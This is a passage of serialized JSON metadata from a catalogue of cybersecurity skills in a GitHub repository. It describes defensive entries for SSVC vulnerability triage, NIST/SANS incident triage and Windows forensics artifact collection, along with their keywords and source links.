kape","registry","browser","logs","windows-forensics","dfir","mft","mftecmd","data","prefetch","eric-zimmerman","digital-forensics","SET","collection","pecmd","artifact-collection",{"skillNo":218,"name":219,"nameZh":6,"description":220,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":221,"categories":222,"keywords":224,"publishedAt":55},"01M6AGD5PW5J4EVZM958WD74ZQ","triaging-vulnerabilities-with-ssvc-framework","Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track\u002FTrack*\u002FAttend\u002FAct decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[223],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[225,226,227,38,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243],"vulnerabilities","framework","triaging vulnerabilities with ssvc framework","status","planning","CISA","vulnerability-management","risk-management","nessus","qualys","openvas","cvss","remediation","risk","vulnerability","api","prioritization","ssvc","decision-tree",{"skillNo":245,"name":246,"nameZh":6,"description":247,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":248,"categories":249,"keywords":251,"publishedAt":55},"01M6AGD24TTQQM4CXG69E3B9TJ","triaging-security-incident","Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM\u002FEDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-security-incident\u002FSKILL.md",[250],{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},[128,252,38,253,254,255,256,257,258,259,260,186,261,187,262,263,264,265,266,267],"triaging security incident","siem","file","ioc","soc","NIST-800-61","NIST","severity","edr","execution","analysis","classification","severity-classification","incident-triage","SANS-PICERL","SOC-operations"]